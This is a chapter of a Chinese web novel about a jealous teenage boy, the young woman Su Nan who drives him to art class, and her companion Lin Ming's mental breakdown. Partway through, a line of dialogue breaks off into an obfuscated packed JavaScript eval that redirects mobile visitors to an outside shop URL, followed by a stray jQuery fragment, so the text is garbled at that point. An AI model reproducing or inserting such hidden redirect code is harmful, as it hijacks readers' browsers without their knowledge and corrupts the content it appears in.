原本,姜北已经做好了打算,等中考结束,他可以和湳湳姐一起照顾林茗。
可他总觉得哪里不太对劲,看着苏湳和林茗亲密相处的样子,他心里像按装了一个坏了的电箱,危险的电流四处乱窜,完全脱离了自身的掌控。
索性眼不见为净,姜北干脆躲回老家去。
可是,看着他们亲密的样子烦,看不见更烦!
起码在自己眼皮子底下的时候,他们俩发生了什么事自己也能及时知道,哪里会像现在这样坐立不安。
明明是自己先认识的湳湳姐,从前玩过家家都是他当爸爸,湳湳姐当妈妈。可上一次陪小葡萄玩过家家,湳湳姐居然让林茗当爸爸,让他当儿子?!
呵!搞笑!
他才不要做儿子,他要当爸爸!
将蛇皮袋装上车后,苏湳给徐淑云发了条信息报平安。
车内气氛略显古怪,无论苏湳怎么找话题,姜北都是一副冷冷的、不感兴趣的模样。
“呆瓜~要不你去我家住吧~干爸出差去了,你一个人在家的话多孤单啊!”
“不用了。”姜北态度极其敷衍。
苏湳故作阴阳怪气道:“好好好,孩子长大了,有自己的心事了,都不愿意跟姐姐说话了呢!”
姜北握紧双拳,一脸严肃道:“我已经不是小孩子了!”
苏湳专注开车没注意到他的情绪变化,“你现在才十五六岁的年纪,不是小屁孩儿是什么?”
姜北努力隐忍,小声嘀咕道:“我是男人!”他撇过身子靠着车窗,伸手摸了摸颌下突出的喉结,感受着嗓音震动,他的声线已不再细小稚嫩,他早已就不是个小孩子了。
而且听朋友说,那里变大后就可以当男人了,他洗澡时悄悄比划过,已经不小了。
姜北只是这么想着,耳廓已经红得发烫,他不敢再看苏湳,索性靠着椅背闭目养神。
车子开到姜北家所在的小区。
苏湳帮着把土特产抬到屋内小坐了一会儿,临走前问道:“小呆瓜,你什么开始上课?到时候我来接你一起去画室。”
姜北垂眸犹豫了片刻开口道:“明天。”
“好,那你在小区门口等我,明早我来接你!拜拜咯~”
苏湳一切如常,面对姜北冷淡的态度倒也没觉得有什么,小毛孩儿长大要经历青春期,这段时间应该是抽条了,个子也长高不少,看着比她还高上一截儿。
回去的路上有卖棉花糖的小摊儿,各种各样的形状都有。苏湳一眼就看中了那个潦草小狗形状的棉花糖,脑海里不自觉浮现出林茗现在的样子,他的头发越来越长且蓬松茂密,每天早上醒来,就是一副潦草小狗的模样。
“老板,要这个小狗的棉花糖。”
“好嘞,这里扫码。”
回到家后,苏湳迫不及待将棉花糖拿给林茗,看着他散乱的头发,真的和潦草小狗一模一样!
“哈哈哈哈哈哈哈!”苏湳指着棉花糖笑了半天,然后拿出拍立得记录下此刻的场景。
林茗不明所以,但看着苏湳捧怀大笑的模样,感觉手中的棉花糖也不及她甜。
第二天,苏湳早早便出门去接姜北。
远远看着小区门口一抹身影立于风中,清爽的碎发被风吹得有些凌乱,肩上背着黑色的画板袋,衬得他身形愈发单薄。
“小呆瓜~上车!”
姜北打开后排车门坐了进去。
苏湳通过车内的后视镜观望着姜北,“等很久了吗?下次不用这么早下来,我到了给你打电话~”
姜北靠着车窗淡淡道:“我刚下来。”
苏湳浅笑不欲拆穿,想了想又问道:“吃早饭了吗?”
“我不饿。”姜北抬眸正对上后视镜里一双熟悉的杏眼,急忙忙撇开脸道:“我包里有牛奶和面包,饿了可以吃。”
到画室后,招呼姜北的是一位三十多岁、极其有责任心的女老师,她一般是在寒暑假的时候来画室里兼职,以带中小学生为主。
“宋老师好!”
“哎哟!是小北啊~我们有一年没见了!去年暑假你来上课的时候,我记得你还没这么高呢!”宋老师笑盈盈的拉着姜北聊家常,询问他平时有没有勤加练习。
姜北深知自己生疏了许多,倒也没有替自己辩解,“平时没怎么练习......”
宋老师微微一笑道:“没关系的,初三还是以学业为主嘛!这考完试就可以安安心心学画画了!先摸摸你的底,跟我来吧!”
姜北看了眼苏湳,想要说点什么,却见她已转身去了二楼。
他垂眸,只能作罢。
苏湳依旧坐在二楼靠窗边的位置,比一楼要安静许多。
这段时间,纪望要去外地进行考察,她就一个人瞎琢磨,艺术、创作这一类需要耐心的事情,对她来说并不难,难的是灵感。
“也不知道爸现在怎么样了?”她拿出手机,视线停留在一串熟悉的手机号上,犹豫了许久才按下拨通键。
“对不起,您拨打的电话暂时无人接听,请稍后再拨......”
没人接......应该是在忙吧。
苏湳放下手机摒弃杂念,沉浸在自己的世界里。
直到楼下的学生陆陆续续离开,这才拿起手机看了眼时间,竟然已经中午了。
苏湳起身,看着略显空荡的画室,她最喜欢此时的氛围,思维也跟着跳跃起来,恨不得多画上两幅。
姜北踏上台阶站在楼梯口处,用手肘搭着栏杆静静地看着二楼的窗边,“你还要继续画吗?”
苏湳堪堪回神,差点忘了还有小呆瓜。
姜北转身下楼,“我下午不上课,先回去了。”
苏湳连围裙都没来得及脱下,拿着手机追下楼,“这附近有家面馆儿特别好吃,吃完再回去呗~”说着揽住姜北的胳膊就往外走,不给他拒绝的机会。
夏日的烈阳晒得人睁不开眼。
走在石子小路上,姜北挺起脊梁暗自发力,尽量让自己被挽着的胳膊显得健壮一些。
头上的细汗已经顺着耳后滑下,但他面上仍做出一副毫不在意的高冷模样,撇过头任由苏湳牵着他走。
“钱大姐!”
苏湳指了指角落的两个空位,示意姜北去坐着等她。
“小苏来啦!”
钱大姐为人爽快利落、记性也好,只要去她那儿吃上两回面,基本都能被她记住。
这附近还有两三家画室和其他的培训机构,暑期来上课的学生不少,面馆儿的生意比之前要忙上许多。
“钱大姐,来两碗酸菜肉丝面,要微微辣~”
“好嘞,先坐着等一会儿啊~”
苏湳走到门口的饮料柜里拿了两瓶冰豆奶。
姜北接过豆奶慢慢喝着,“你没有什么想说的吗?”
苏湳嘴里咬着吸管,眼里满是疑惑:“说什么?”
姜北抿唇:“没什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748355|145379||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么。”之后他都没再开口说过一句话,吃完面后,他便独自坐地铁回家了。
苏湳回到画室,心里很是纳闷。
这小子最近怎么了?态度这么冷淡不说,刚刚还摆出一副扑克脸,很不高兴的样子。
也不知道林茗怎么样了?她拿出手机打开监控视频呼喊道:“林茗——!”
听到熟悉的呼唤声,坐在沙发和茶几缝隙里的林茗猛一抬头,抱着苏小马噔噔噔跑到监控前站定。
“中午吃饱了吗?”苏湳问。
“嗯!”林茗对着监控镜头点了点头,撩起衣服指了指肚皮,表示吃饱了。
苏湳有些哭笑不得,看着林茗平坦的小腹,真是让人嫉妒啊!吃饱饭还这么平。
“在家好好看书,回去我要检查!”说完关掉手机继续画画。
自从发现林茗还认得字后,苏湳便找了一些书籍给他看,比如《养生食谱大全》、《睡前故事》、《山海经》、《人体的秘密》、《疯癫与文明》、《一想到还有95%的问题留给人类,我就放心了》......
监控里的声音戛然而止,林茗痴痴点头,站在监控前一动不动,像是灵魂出窍一般,看上去只剩一副空壳。
湳每天躲在那个盒子里在干什么呢?
湳是不是有其他的阿茗了?
湳为什么还没有回来?
湳身上的味道是谁的?
湳到底在做什么呢?
湳是不是有别人了?
“呜......”
不可以!不行!
“湳是我的......我的!我的......”林茗喉头不停地翻滚,眼神飘忽不定。
远处似乎有一个忽明忽暗的人影,在慢慢向他靠近。
是谁?谁在那里?
林茗身体摇晃不止,竟踉跄着向前栽去。
那人影越来越大,也越来越黑,他胡乱挥手驱散着眼前的浓雾,想要看得清楚一些,但那人影又渐渐远去直至消散。
头......好痛!
林茗双手抱头瘫倒在地,整个人蜷曲成一团,表情呆滞、意识模糊。
他感觉到身体沉溺在一片混沌之中,无穷无尽的黑浪袭来又退去,在即将淹没时又给他生的希望,如此反复折磨他的意识。
“呼.......呼......”
林茗贪婪地呼吸着微薄的空气,手指关节因极度用力而突出、手臂慢慢充血、额上冷汗直流。
“林茗!苏湳不要你了!”
林茗大惊,原本涣散的双眸瞬间瞪大,他死死咬着舌尖强迫自己回神,唇被血液染红,映得脸色格外惨白,似是病入膏肓命不久矣之人。
那抹身影越来越近,声音也越来越清晰。
“林茗,就你现在这幅样子,没有人会喜欢你的!”
“林茗,你知道苏湳为什么要把你带在身边么?她只是可怜你而已,换做任何一个人,她都会这么做!”
“林茗,她和你完全不一样!她是生活在阳光之下的娇女,被光明偏爱的她熠熠生辉,而你是沉在阴沟里的烂泥衰败腐化。”
“林茗,你就是个疯子!没有人会喜欢一个疯子,所以,也没有人会喜欢你!”
不知是冷汗还是泪水,将林茗的视线一点一点淹没,他躺在地上一动不动,任由那如同恶咒一般的声音萦绕耳边。
最后竟如同认命一般放弃挣扎,整个人瘫倒在地,毫无生机可言。